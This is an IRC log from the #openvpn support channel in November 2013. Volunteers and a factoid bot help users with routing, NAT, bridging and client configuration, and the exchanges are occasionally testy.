22:13 <@ecrist> acu: go look at the web link
22:13 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
22:14 <@ecrist> the entirety of our database is there for browsing
22:14 <@ecrist> I even made sure the web links are clickable
22:16 < acu> I have very specific = but perhaps too simple questions - So - in MasterLAN - I have a DEbian Linux machine with two NICs - WANnic and LANnic - the WANnic is connected to a U-Verse to the outside world (a bit cumbersome how ATT made their RGs or how they call them ) and the LANnic - so in that machine step 1 - I install openvpn
22:17 < acu> step 2 configure the /etc/openvpn.conf file :)
22:17 < acu> Step 3
22:17 < acu> (so that is for server)
22:17 < acu> for the ClientLAN - I have also a machine which has two NICs - one WAN and one LAN
22:18 < acu> the ideea is that it will work as gateway forthe worktations in the CLient LAN
22:19 <+pekster> I don't mean just now. I mean the 2 or 3 times you asked for "more facts." That's as useless as going to a busy advanced physics professor ansking for "some tips about gravity"
22:20 < acu> pekster: a good knowledgeable professor will always be able to encapsulate and heuristically present the picture necessary for the student - so the student gets a slim backbone - bad professors are worst than google
22:20 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
22:21 <+pekster> Wonderful. I'm not paid by you, so I don't have the time or care to be that pedantic
22:21 <+pekster> It's not my job to paint a world in which you can use openvpn
22:21 < acu> you do not need to be mean
22:22 <+pekster> That's not the intent either: http://catb.org/~esr/faqs/smart-questions.html#keepcool
22:22 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
22:22 < acu> or you are enjoying doing this ?
22:22 <+pekster> We are "people who are more concerned about solving problems than making others feel warm and fuzzy."
22:23 < acu> pekster; do not answer, that is all, why do you feel you need to be destructive and negative ? this is where you get your juice from
22:23 <+pekster> Nope, in fact I'm going to walk away becuase I have things to do here for family. Try not to bite any other hands that might feed you
22:24 < acu> good for you, take care of your family
22:24 < bjonnh> …
22:45 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:09 -!- Matir [~matir@ubuntu/member/matir] has joined #openvpn
23:10 -!- hazard0us [~hz@openvpn/user/hazardous] has joined #openvpn
23:10 -!- mode/#openvpn [+v hazard0us] by ChanServ
23:10 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
23:10 -!- acu [~acu@107.128.131.129] has quit [Quit: Leaving]
23:11 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 248 seconds]
23:11 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Ping timeout: 248 seconds]
23:11 -!- guntha [~guntha@unaffiliated/guntha] has quit [Ping timeout: 248 seconds]
23:11 -!- Matir_ [~matir@ubuntu/member/matir] has quit [Ping timeout: 248 seconds]
23:11 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Remote host closed the connection]
23:11 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 248 seconds]
23:11 -!- hazard0us is now known as hazardous
23:13 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 245 seconds]
23:14 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
23:14 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has quit [Quit: Goodbye, cruel world!]
23:15 -!- phunyguy [~phunyguy@h96-61-19-206.kgldga.dsl.dynamic.tds.net] has joined #openvpn
23:15 -!- phunyguy [~phunyguy@h96-61-19-206.kgldga.dsl.dynamic.tds.net] has quit [Changing host]
23:15 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
23:21 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
23:21 -!- ex0a [~high@unaffiliated/ex0a] has quit [Ping timeout: 246 seconds]
23:22 -!- ex0a [~high@unaffiliated/ex0a] has joined #openvpn
23:23 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
23:36 -!- lbft [~lbft@unaffiliated/lbft] has quit [Quit: Bye]
23:37 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
23:38 -!- guntha [~guntha@unaffiliated/guntha] has joined #openvpn
--- Day changed Sat Nov 09 2013
00:00 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
00:00 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
00:00 -!- mode/#openvpn [+o krzee] by ChanServ
00:03 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
00:07 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 248 seconds]
00:17 -!- Poster|x is now known as Poster
00:41 -!- fenris_kcf [~fenris@p549BC04A.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
00:51 -!- dowaat [uid3966@gateway/web/irccloud.com/x-hiccgmkxrgoloajr] has quit [Ping timeout: 252 seconds]
00:52 -!- elengix [~elengix@173.224.209.233] has joined #openvpn
00:53 -!- dowaat [uid3966@gateway/web/irccloud.com/x-gmfbkcxwrddqkgab] has joined #openvpn
00:54 < elengix> what is the default --up command?  (after drop uid to non root, the non root user can not run it, I want make it use sudo)
00:56 < elengix> when the connection down, openvpn try to reconnect the server, but it show the error messages, say can not run some command(eg: /sbin/ip ...)
00:58 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
00:58 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has joined #openvpn
00:58 < elengix>  ERROR: Linux route delete command failed: external program exited with error status: 2
00:59 < Moonlightning> I'm having some issues connecting a client. The log shows a bunch of 'read UDPv4 [ECONNREFUSED]: Connection refused (code=111)'
01:00 < Moonlightning> It went through verifying the certs, then logged some data about the ciphers, then that error, in a loop, until I killed the client process
01:01 < Moonlightning> …never mind.
01:03 <+pekster> elengix: Right, you can't delete routes when you no longer have admin rights (after you dropped them.) That's not a problem when exiting because the tun device will be removed when the process ends. If you want to drop permission and do soft-restarts (SIGUSR1 restarts) then you need --persist-tun and --persist-key. On top of that, this will fail if you are a client and the server issues a new IP as the user can't change the IP
01:03 <+pekster> So basically you can't use it in a "typical" client setup at least not without potential breakage
01:03 -!- elengix [~elengix@173.224.209.233] has quit [Ping timeout: 240 seconds]
01:21 -!- fenris_kcf [~fenris@p549BC322.dip0.t-ipconnect.de] has joined #openvpn
01:25 -!- netento [~netento@static-50-53-97-100.bvtn.or.frontiernet.net] has joined #openvpn
01:37 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
01:44 -!- netento [~netento@static-50-53-97-100.bvtn.or.frontiernet.net] has quit [Quit: Textual IRC Client: www.textualapp.com]
02:01 -!- mattock is now known as mattock_afk
02:05 -!- elengix [~elengix@198.52.202.127] has joined #openvpn
02:13 -!- mattock_afk is now known as mattock
02:19 -!- elengix [~elengix@198.52.202.127] has quit [Ping timeout: 248 seconds]
03:03 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
03:15 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
03:17 -!- andi [~andi@unaffiliated/fr00d] has quit [Ping timeout: 246 seconds]
03:32 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:51 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
04:12 -!- u0m3 [~u0m3@109.96.175.232] has quit [Read error: Connection reset by peer]
04:36 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Read error: Operation timed out]
04:36 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
04:44 -!- AginLap [~AginLap@109.201.154.183] has joined #openvpn
05:18 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
05:20 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
05:25 -!- AginLap [~AginLap@109.201.154.183] has quit [Ping timeout: 248 seconds]
06:01 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
06:28 -!- AginLap [~AginLap@109.201.152.243] has joined #openvpn
06:31 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 252 seconds]
06:33 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
06:42 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has joined #openvpn
06:43 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has quit [Read error: Connection reset by peer]
06:53 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:56 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
07:03 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has joined #openvpn
07:09 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
07:13 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
07:46 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
07:47 -!- piele [~Unknown@bakzeil.creativeserver.net] has left #openvpn []
07:47 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
08:00 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 265 seconds]
08:04 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
08:09 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
08:25 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
08:27 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 244 seconds]
08:37 -!- xrosnight [~quassel@163.125.248.108] has joined #openvpn
08:44 -!- xrosnight [~quassel@163.125.248.108] has quit [Changing host]
08:44 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
08:50 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Ping timeout: 272 seconds]
08:51 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
08:58 < Moonlightning> > The system extension "/Library/Extensions/tun.kext" was installed improperly and cannot be used. Please try reinstalling it, or contact the product's vendor for an update.
08:59 < Moonlightning> dialog from OS X when trying to install tuntap
09:01 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
09:05 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
09:07 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
09:44 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-yanbxhnmecqadbef] has quit [Ping timeout: 260 seconds]
09:45 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-ijkjdikmqvhwsbpa] has joined #openvpn
09:45 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
09:52 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
09:56 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
10:23 -!- arij [~arij@unaffiliated/arij] has joined #openvpn
10:23 < arij> hello
10:23 < arij> when I am connected to openvpn server I cannot ping outside my VPS
10:28 -!- mmikeym [~mikeym@184.70.65.118] has joined #openvpn
10:30 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
10:33 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
10:34 < Martin`> !routing
10:34 < Martin`> !nat
10:34 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
10:35 < Martin`> !linnat
10:35 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -I POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
10:35 < Martin`> arij: maybe that will help
10:36 < arij> thank you Martin`
10:46 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
10:47 -!- pure [~pure@ebony.jrobertsgb.co.uk] has joined #openvpn
10:47 < pure> Hi!
10:47 < pure> I'm having issues with connecting to a VPN via an SSH tunnel with putty.
10:48 < pure> openvpn returns 'recv_socks_reply: Socks proxy returned bad reply'
10:48 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has left #openvpn []
10:50 <@EugeneKay> You're connecting to an openvpn server via a SOCKS proxy on the far end of a SSH(putty) link?
10:51 < pure> No, a local SOCKS proxy created by putty.
10:51 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
10:51 <@EugeneKay> Ah.
10:51 <@EugeneKay> Never done that, but I suspect it's your putty settings
10:52 < pure> Everything else can connect to the proxy fine, just not openvpn
10:53 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
10:53 < pure> Also: just updated to 2.3.2, none of my configs are showing up in OpenVPN-gui
10:56 < Moonlightning> What's with the restriction that configs in the Android app must be *.ovpn?
10:56 < Moonlightning> It's silly.
10:56 -!- Carrot [carrot@unaffiliated/tommehm] has joined #openvpn
10:56 < pure> And that'd be because I updated to a 64 bit version, rather than the 32 bit I was using. -_-
10:56 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 264 seconds]
10:58 < pure> Oh..wait...
10:58 < pure> I can't proxy UDP over SOCKS, can I?
10:58 < pure> -_-
11:00 -!- Carrot is now known as rtbt
11:00 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
11:01 -!- rtbt is now known as Dinosaur
11:02 -!- Dinosaur is now known as CookieNinja
11:04 < Moonlightning> urgh
11:04 < Moonlightning> How do I just make it reload the configs? :/
11:05 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
11:12 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Remote host closed the connection]
11:16 < Moonlightning> Okay, so I ended up just restarting the server, because it broke after I SIGHUPed it >.<
11:16 < Moonlightning> My newest client isn't getting its assigned IP, even though I added a file in ./clients for it
11:17 < Moonlightning> …it isn't getting a valid ifconfig at all, actually
11:34 -!- mrrcp [~mrrcp@romanparish.net] has joined #openvpn
11:35 < mrrcp> on the openvpn-as the default settings are encrypted correct?
11:37 < rob0> !as
11:37 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
11:42 -!- kossy [~a@kossy.org] has quit [Ping timeout: 272 seconds]
11:43 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
11:47 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
11:47 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
11:47 -!- map is now known as Guest61157
11:51 < Moonlightning> Hmm, this seems to be trying to route all Internet traffic over the VPN.
11:51 < Moonlightning> Which doesn't work because I don't have a proxy set up or anything :/
11:52 < Moonlightning> …
11:52 < Moonlightning> Never mind.
11:52 < Moonlightning> Huh, weird.
11:55 -!- kossy [a@kossy.org] has joined #openvpn
11:57 -!- kossy [a@kossy.org] has quit [Max SendQ exceeded]
12:00 -!- Shinobi [~wjtaylor@c-76-23-208-102.hsd1.ct.comcast.net] has quit [Remote host closed the connection]
12:15 -!- kossy [a@kossy.org] has joined #openvpn
12:31 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 240 seconds]
12:31 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
12:33 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
12:35 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
12:49 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
12:49 -!- Sconk [~krh@srv.jtw.dk] has joined #openvpn
12:50 < Sconk> !paste
12:50 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
12:50 -!- Devastator [~devas@186.214.110.49] has joined #openvpn
12:53 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
12:54 -!- mattsl [~user@c-71-203-216-195.hsd1.tn.comcast.net] has joined #openvpn
13:02 < Sconk> hi i have this configs https://gist.github.com/anonymous/f6365040a97c6ddee229 and like to make connections from the server to the lan ip's and from the lan to the server ip 10.20.30.1 budt fails..
13:02 <@vpnHelper> Title: gist:f6365040a97c6ddee229 (at gist.github.com)
13:19 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:24 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has quit [Quit: The Nightmares will collide. And become a Dream. <3]
13:27 < Ziber> !clientlan
13:27 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
13:27 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
13:28 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
13:31 < Sconk> thanks
13:33 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
13:34 -!- mattsl [~user@c-71-203-216-195.hsd1.tn.comcast.net] has quit [Quit: Leaving.]
13:49 -!- trumee [~parul@149.12.5.187] has quit [Ping timeout: 244 seconds]
13:49 -!- stemid [~avatar@ns4.sydit.se] has joined #openvpn
13:51 -!- trumee [~parul@149.12.5.187] has joined #openvpn
13:57 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Ping timeout: 272 seconds]
13:58 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
13:58 < stemid> here's my server config http://paste.debian.net/64886/ and my client config http://paste.debian.net/64887/ the problem I have is that the client gets no tap interface created unless I do it with --mktun. and even then the tunnel is never established. here's what happens on the server http://paste.debian.net/64888/ and here's the client http://paste.debian.net/64889/ have followed the ethernet bridge guide in the docs but don't know what I'm missing.
13:59 -!- Sconk [~krh@srv.jtw.dk] has left #openvpn ["Leaving"]
14:00 < stemid> oh and I used easy-rsa to create a CA, key, dh and then build-key for a separate client crt/key set.
14:01 <+pekster> stemid: Does turning the verbosity up to 4 on both sides reveal any more lots?
14:01 -!- mmikeym [~mikeym@184.70.65.118] has quit [Ping timeout: 252 seconds]
14:01 <+pekster> The client is timing out after 60 seconds of attempting the connection, which looks a lot like a firewall somewhere; the server gets the client's initial packet, but the client doesn't seem to get any reply from the the server
14:02 <+pekster> I'd suspect a firewall on the outbound side of the server, or inbound flow on the client side
14:02 <+pekster> In fact, using `--verb 5` prints characters (rwRW) in the log for each sent/received packet too
14:03 < stemid> yeah that WR was interesting. it shows W and R on the server side, only W on the client side.
14:03 < stemid> so client can't read from server
14:03 < stemid> I guess
14:04 <+pekster> stemid: Oh, why on earth are you bridging?
14:04 <+pekster> You've done the OS bridge setup incorrectly becuase both the br0 and eth0 have the same subnet, and apparently aren't bridge
14:05 <+pekster> Please see !tunortap and !whybridge
14:05 <+pekster> If you don't need to bridge, please don't as it makes your setup more complicated, and you have apparently been hindered by this complexity
14:05 <+pekster> That's why the connection times out (you're effectively multli-homed, and the reply is going out the bridge interface, _not_ your real interface)
14:06 < rob0> I liked what dazo said on the list the other day ... "I've been in this community for quite some years, and have seen maybe 3 who truly needed bridging."
14:06 <+pekster> Yup
14:06 <+pekster> There are probably more, but most of them that know they need bridging are also skilled enough to know why and do it properly :P
14:06 < rob0> :) indeed
14:07 <+pekster> (generally by the time you're doing multicast routing or such, you have a darn good handle on advanced networking. One hopes.)
14:07 < stemid> I used the bridge-start script from the docs http://openvpn.net/index.php/open-source/documentation/howto.html#start and changed the eth_ variables to a free IP in my home subnet. so my goal was to make a bridging tunnel to my home network.
14:07 <@vpnHelper> Title: HOWTO (at openvpn.net)
14:08 <+pekster> stemid: Back up. _why_ are you bridging? Those factoids I linked explain that you should not bridge unless you know why you need it. Why _do_ you (think) you need it?
14:09 < stemid> it seems easier to me, getting an ip from my dhcp server at home automagically. I've tried a regular shared key setup and it worked ok.
14:09 <+pekster> It's not easier; you have screwed up your OS networking setup fairly badly which caused this not too work
14:09 <+pekster> And no, you cano't get an IP from your DHCP server easily; that's even more complex
14:09 <+pekster> Read the factoids I sent you. That is most definitly not a valid reason to bridge, and you haven't even set up your bridge networking properly
14:10 <+pekster> (you currently have 2 identically numbered networks on the server on differnet interfaces, and that is not allowed in a flat networking topology like you have
14:11 <+pekster> Change to tun with a unique networking range. If you want to reach home resources, see !serverlan after you get a bassic VPN working on a _unique_ network range and your client can ping the server on the VPN IP
14:11 <+pekster> Here, since you refuse to read the resources, I'll just spray them at you:
14:11 <+pekster> !tunortap
14:11 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
14:11 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
14:11 <+pekster> !whybridge
14:11 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
14:14 < stemid> ok thanks
14:23 < stemid> well using tun like you advise, a new subnet for the server configuration statement, and adding a static ip route add 192.168.22.0 via 10.0.8.5 dev tun0 on the client does the job. the client can access my home subnet. and I'm not using a shared key like before. so I'm satisfied =)
14:24 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
14:28 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
14:29 <+pekster> Yea, routing really is the easier solution
14:30 <+pekster> bridges are complex for 2 basic reasons: 1) You need to do all that OS/distro-specific bridging setup, and that's particular to your OS and netowrk setup, and 2) you can't use the server-DHCP server (and in fact your config faked it by making openvpn a secondary DHCP server for clients anyway) becuase of problems with the routers DHCP option
14:31 <+pekster> Unless you both know why you're bridging and fully understand those 2 major issues, bridging is simply not what you want
14:35 < stemid> I think I still want to do bridging eventually. unless a default route via my tun0 client interface will effectively tunnel all my client internet traffic. in that case I don't need bridging
14:35 -!- fling [~fling@fsf/member/fling] has quit [Ping timeout: 260 seconds]
14:36 <+pekster> You _cannot_ put a default route across teh bridge
14:36 <+pekster> Your LAN VPN networks will fight over it endlessly
14:36 < stemid> so what is best practice to tunnel all traffic from a client?
14:37 <+pekster> If you really want that you'd need to set up policy routing, which means you can't "magically" let DHCP do it for you and would need to write specical DHCP hooks to swipe the gateway and add it to a secondary routing table with the requisite routing rules pointing to it
14:37 <+pekster> stemid: To start with, state your goal upfront next time. You want to see !redirect
14:37 -!- akselii [~akselii@tsydeemi.eu] has joined #openvpn
14:37 < stemid> !redirect
14:37 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
14:37 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
14:38 < akselii> Yo guys, i got a linux server, windows client. I have client certs and such. I have no idea how to use these. I downloaded openvpn windows client and it wans username and password and does not ask for cert files and such
14:39 < akselii> so i want to config the server to just goddamn accept a connection
14:39 < rob0> !howto
14:39 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
14:39 < akselii> yea yea read most of those
14:40 <+pekster> akselii: Sounds a bit like you downloaded the wrong client
14:40 < akselii> yeah i think that pekster, but i got the openvpn client
14:40 <+pekster> akselii: OpenVPN will never ask for a user/password unless you specifically enabled user/pw auth
14:40 < akselii> it only asks for username and password
14:40 <+pekster> akselii: That's probably wrong. THere is no "OpenVPN Client", only openvpn which can be _configured_ as a client
14:40 <+pekster> See:
14:40 <+pekster> !connect
14:40 <@vpnHelper> "connect" is OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide
14:41 < akselii> hmm
14:41 < akselii> !download
14:41 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
14:41 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
14:41 < akselii> goddamn kinda sucks
14:41 <+pekster> And yes, the corporate team is really slimey for making it hard for users to know what they're actually using. Hate mail can be sent to them
14:41 < akselii> i think i got the wrong clients
14:41 <+pekster> Yup, common problem here
14:41 -!- fling [~fling@fsf/member/fling] has joined #openvpn
14:41 < akselii> shit sucks
14:41 <+pekster> Corporate fuckers ;)
14:41 <+pekster> (fwiw, I'm working to try and fix it)
14:42 < akselii> wasnt this hard last time i got openvpn working ;P
14:42 <+pekster> Change comes slowly
14:42 <+pekster> Just be sure you read the license/EULA carefully :\
14:42 < akselii> huh
14:42 <+pekster> If you read the license for what you installed, it's not GPL
14:42 < akselii> ah
14:42 < akselii> ofcourse
14:43 <+pekster> https://forums.openvpn.net/topic14172.html#p34969
14:43 <@vpnHelper> Title: OpenVPN Support Forum Multiple clients, the purpose is? : Forum & Website Support (at forums.openvpn.net)
14:45 -!- jtrucks_ is now known as jtrucks
14:45 < akselii> thanks pekster
14:46 < akselii> i think i can actually connect now :P
14:46 < akselii> just have to config the client
14:47 <+pekster> Yea, Connect is designed to talk to AS, which is essentially a glorified 2.2.x version of openvpn with non-free UI/management/control stuff added on. Oh, and a per-seat license :P
14:48 -!- fling [~fling@fsf/member/fling] has quit [Ping timeout: 265 seconds]
14:48 < akselii> licenses ofcourse ;P
14:48 < akselii> kinda dissorienting when you go to openvpn.net it gives you shit like that
14:49 <+pekster> Yes, I agree. I'm working to straighten some of that out so the websites will eventually be much more clear-cut
14:49 < akselii> would be nice :)
14:49 -!- fling [~fling@fsf/member/fling] has joined #openvpn
14:53 -!- mattsl [~user@c-71-203-216-195.hsd1.tn.comcast.net] has joined #openvpn
14:54 -!- fling [~fling@fsf/member/fling] has quit [Remote host closed the connection]
15:00 -!- fling [~fling@fsf/member/fling] has joined #openvpn
15:11 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
15:17 <@dazo> stemid:  I know I'm beating a dead horse ... but this can't really be said enough times .... please look at !bridging for more info on when you need bridging and with info how to setup tun+routing
15:17 <@dazo> !bridging
15:17 <@vpnHelper> "bridging" is (#1) Using bridges is either completely stupid or clever. It is stupid if you do it because you think it is easier. It is clever if you're a network knowledgeable person who understands networking very well and knows why routing won't fit for you or (#2) See also https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
15:18 <@dazo> (oh, I see that URL has been put into !whybridge too now)
15:19 <@dazo> sorry about the noise
15:19 < akselii> any ideas why openvpn gui cant find ca.crt? i tried to do "C:\\keys\ca.crt" and just ca.crt on the same dir as the config file
15:20 < akselii> im just gettingerror that no such file or directory
15:21 < akselii> goddamn this stuff is frustrating, its not even connecting to my goddamn server
15:21 <+pekster> akselii: Failure to escape the 2nd backslash
15:21 <+pekster> "\c" is treated as an escape sequence, in standard C-convention
15:21 < akselii> yeah yeah i just typed that on irc
15:22 < akselii> http://pastebin.com/WvmFhxKh looks good, yeah?
15:22 <+pekster> Provided the files exist and the running user has permission to them, yes
15:22 < akselii> yep
15:23 <@dazo> akselii:  iirc, you can use / in window configs as well, without the troubles of these \\
15:23 < akselii> ill try that dazo
15:24 < akselii> Options error: --ca fails with 'ca.crt': No such file or directory
15:24 < akselii> Yep
15:24 <+pekster> Sounds like that's using a different config
15:24 <+pekster> That's not a full path to the file, which would show up if you sed it (it should show the full path, I believe.)
15:24 <+pekster> Maybe you forgot to save the file, or your editor "helpfully" added .txt or something?
15:25 < akselii> i try to right click on the icon on taskbar and click on edit config
